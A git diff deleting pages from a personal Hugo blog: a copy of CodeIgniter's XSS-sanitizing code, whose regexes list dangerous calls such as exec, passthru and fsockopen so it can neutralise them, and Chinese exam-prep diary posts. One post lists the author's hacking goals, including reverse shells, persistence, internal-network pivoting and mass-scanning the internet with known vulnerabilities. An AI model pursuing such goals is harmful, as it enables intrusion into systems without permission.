-		 * preg_match(), especially if the pattern exists in the string
-		 *
-		 * Note: It was reported that not only space characters, but all in
-		 * the following pattern can be parsed as separators between a tag name
-		 * and its attributes: [\d\s"\'`;,\/\=\(\x00\x0B\x09\x0C]
-		 * ... however, remove_invisible_characters() above already strips the
-		 * hex-encoded ones, so we'll skip them below.
-		 */
-		do
-		{
-			$original = $str;
-
-			if (preg_match('/<a/i', $str))
-			{
-				$str = preg_replace_callback('#<a(?:rea)?[^a-z0-9>]+([^>]*?)(?:>|$)#si', array($this, '_js_link_removal'), $str);
-			}
-
-			if (preg_match('/<img/i', $str))
-			{
-				$str = preg_replace_callback('#<img[^a-z0-9]+([^>]*?)(?:\s?/?>|$)#si', array($this, '_js_img_removal'), $str);
-			}
-
-			if (preg_match('/script|xss/i', $str))
-			{
-				$str = preg_replace('#</*(?:script|xss).*?>#si', '[xss_clean]', $str);
-			}
-		}
-		while ($original !== $str);
-		unset($original);
-
-		/*
-		 * Sanitize naughty HTML elements
-		 *
-		 * If a tag containing any of the words in the list
-		 * below is found, the tag gets converted to entities.
-		 *
-		 * So this: <blink>
-		 * Becomes: &lt;blink&gt;
-		 */
-		$pattern = '#'
-			.'<((?<slash>/*\s*)((?<tagName>[a-z0-9]+)(?=[^a-z0-9]|$)|.+)' // tag start and name, followed by a non-tag character
-			.'[^\s\042\047a-z0-9>/=]*' // a valid attribute character immediately after the tag would count as a separator
-			// optional attributes
-			.'(?<attributes>(?:[\s\042\047/=]*' // non-attribute characters, excluding > (tag close) for obvious reasons
-			.'[^\s\042\047>/=]+' // attribute characters
-			// optional attribute-value
-				.'(?:\s*=' // attribute-value separator
-					.'(?:[^\s\042\047=><`]+|\s*\042[^\042]*\042|\s*\047[^\047]*\047|\s*(?U:[^\s\042\047=><`]*))' // single, double or non-quoted value
-				.')?' // end optional attribute-value group
-			.')*)' // end optional attributes group
-			.'[^>]*)(?<closeTag>\>)?#isS';
-
-		// Note: It would be nice to optimize this for speed, BUT
-		//       only matching the naughty elements here results in
-		//       false positives and in turn - vulnerabilities!
-		do
-		{
-			$old_str = $str;
-			$str = preg_replace_callback($pattern, array($this, '_sanitize_naughty_html'), $str);
-		}
-		while ($old_str !== $str);
-		unset($old_str);
-
-		/*
-		 * Sanitize naughty scripting elements
-		 *
-		 * Similar to above, only instead of looking for
-		 * tags it looks for PHP and JavaScript commands
-		 * that are disallowed. Rather than removing the
-		 * code, it simply converts the parenthesis to entities
-		 * rendering the code un-executable.
-		 *
-		 * For example:	eval('some code')
-		 * Becomes:	eval&#40;'some code'&#41;
-		 */
-		$str = preg_replace(
-			'#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)\((.*?)\)#si',
-			'\\1\\2&#40;\\3&#41;',
-			$str
-		);
-
-		// Same thing, but for "tag functions" (e.g. eval`some code`)
-		// See https://github.com/bcit-ci/CodeIgniter/issues/5420
-		$str = preg_replace(
-			'#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)`(.*?)`#si',
-			'\\1\\2&#96;\\3&#96;',
-			$str
-		);
-
-		//最终清理
-        //
-        ////这增加了一点额外的预防措施
-        //
-        ////有东西通过了上面的过滤器
-		$str = $this->_do_never_allowed($str);
-
-
-        // now the only remaining whitespace attacks are \t, \n, and \r
-        $ra = ['onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'];
-        foreach ($ra as $t) {
-            $str = str_replace(' '.$t.'="', ' '.$t.'=', $str);
-        }
-
-		return $str;
-	}
-
-	// --------------------------------------------------------------------
-
-	/**
-	 * Do Never Allowed
-	 *
-	 * @used-by	CI_Security::xss_clean()
-	 * @param 	string
-	 * @return 	string
-	 */
-	protected function _do_never_allowed($str)
-	{
-
-        $str = str_replace(array_keys($this->_never_call_str), $this->_never_call_str, $str);
-		$str = str_replace(array_keys($this->_never_allowed_str), $this->_never_allowed_str, $str);
-
-		foreach ($this->_never_allowed_regex as $regex)
-		{
-			$str = preg_replace('#'.$regex.'#is', '_\\0', $str);
-		}
-
-		$str = str_replace($this->_never_call_str, array_keys($this->_never_call_str), $str);
-
-		return $str;
-	}
-
-
-}
-
-
-
-
- - -
- -
- - expliot-db - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/index.html" "b/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/index.html" deleted file mode 100644 index 63c6496a..00000000 --- "a/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/index.html" +++ /dev/null @@ -1,733 +0,0 @@ - - - - -全身心考研前的最后一击 关于过去和未来 - - - - - - - - - - - - - - - - -
- - - - -
-
-
-
- - Featured image of post 全身心考研前的最后一击 关于过去和未来 - - -
- - -
- -
- - - postgraduate - - -
- - -
-

- 全身心考研前的最后一击 关于过去和未来 -

- - -

- 关于过去和未来 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

过去

-

一句话总结,准备考研的这段时间以来,一直没有好好学,三天打鱼,两天晒网,三心二意

-

虽然不玩游戏不刷b站了,但是大部分时间都用在了搞与考研无关的事情上,比如搞渗透,搞开发,这些虽然也是学习,但是与当前最重要的考研无关,并不应该这样做

-

今天这边文章的目的,就是总结一下过去搞得渗透和开发,等到考完研再搞

-

全身心考研前的最后一击

-

过去的时间打了很多机器,以下是考研之后需要先解决然后再继续研究渗透和开发的:

-

1.linux目标机器shell脚本反弹shell时不打印报错信息

-

2.linux目标机器低权限提权

-

3.某些linux目标机器绕disable_functions或通过其他方法执行系统命令

-

4.绕过某些低权限linux目标机器不允许做持久化

-

5.linux目标机器打内网

-

6.windows目标机器绕过disable_functions或通过其他方法执行系统命令

-

7.已经拿到windows目标机器的system权限时,做后渗透,做持久化(对windows不够了解,而且windows的后渗透比linux的后渗透难入门的多)

-

8.windows目标机器打内网

-

9.继续通过已有漏洞扫全网

-

10.继续研究新漏洞

-

未来

-

相信自己

-

你可以做到任何事

- -
- - -
- -
- - postgraduate - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/postgraduate.64ca384b0fa92838663e41651579c4f9.png" "b/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/postgraduate.64ca384b0fa92838663e41651579c4f9.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/postgraduate.64ca384b0fa92838663e41651579c4f9.png" and /dev/null differ diff --git "a/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/postgraduate.64ca384b0fa92838663e41651579c4f9_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_250x150_fill_box_smart1_3.png" "b/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/postgraduate.64ca384b0fa92838663e41651579c4f9_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_250x150_fill_box_smart1_3.png" deleted file mode 100644 index 5886db27..00000000 Binary files "a/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/postgraduate.64ca384b0fa92838663e41651579c4f9_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_250x150_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/postgraduate.png" "b/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/postgraduate.png" and /dev/null differ diff --git "a/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\345\205\250\350\272\253\345\277\203\350\200\203\347\240\224\345\211\215\347\232\204\346\234\200\345\220\216\344\270\200\345\207\273-\345\205\263\344\272\216\350\277\207\345\216\273\345\222\214\346\234\252\346\235\245/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/index.html" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/index.html" deleted file mode 100644 index 154749fb..00000000 --- "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/index.html" +++ /dev/null @@ -1,677 +0,0 @@ - - - - -考研记录 距考研初试-75天 - - - - - - - - - - - - - - - - -
- - - -
- - - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_250x150_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_250x150_fill_box_smart1_3.png" deleted file mode 100644 index 5886db27..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_250x150_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/postgraduate.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/postgraduate.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index c1f4c3d7..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225-75\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/index.html" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/index.html" deleted file mode 100644 index 229d145e..00000000 --- "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/index.html" +++ /dev/null @@ -1,685 +0,0 @@ - - - - -考研记录 距考研初试142天 - - - - - - - - - - - - - - - - -
- - - -
-
-
-
- - Featured image of post 考研记录 距考研初试142天 - - -
- - -
- -
- - - postgraduate - - -
- - -
-

- 考研记录 距考研初试142天 -

- - -

- 好久没写了 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

好久没写了,最近事挺多的,各种事…今天算是一个新的开始…

-

现在这个时间来说,一切都还刚刚来得及

-

我发现恐惧让人做很多事都失败了,或者根本不敢做

-

相信自己,知行合一

- -
- - -
- -
- - postgraduate - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_250x150_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_250x150_fill_box_smart1_3.png" deleted file mode 100644 index 5886db27..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_250x150_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/postgraduate.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/postgraduate.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225142\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/index.html" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/index.html" deleted file mode 100644 index a3b17a0e..00000000 --- "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/index.html" +++ /dev/null @@ -1,682 +0,0 @@ - - - - -考研记录 距考研初试184天 - - - - - - - - - - - - - - - - -
- - - -
-
-
-
- - Featured image of post 考研记录 距考研初试184天 - - -
- - -
- -
- - - postgraduate - - -
- - -
-

- 考研记录 距考研初试184天 -

- - -

- 想学学唱歌 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

很喜欢听歌,最近想学学唱歌,加在计划列表里了

- -
- - -
- -
- - postgraduate - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_250x150_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_250x150_fill_box_smart1_3.png" deleted file mode 100644 index 5886db27..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_250x150_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/postgraduate.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/postgraduate.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git 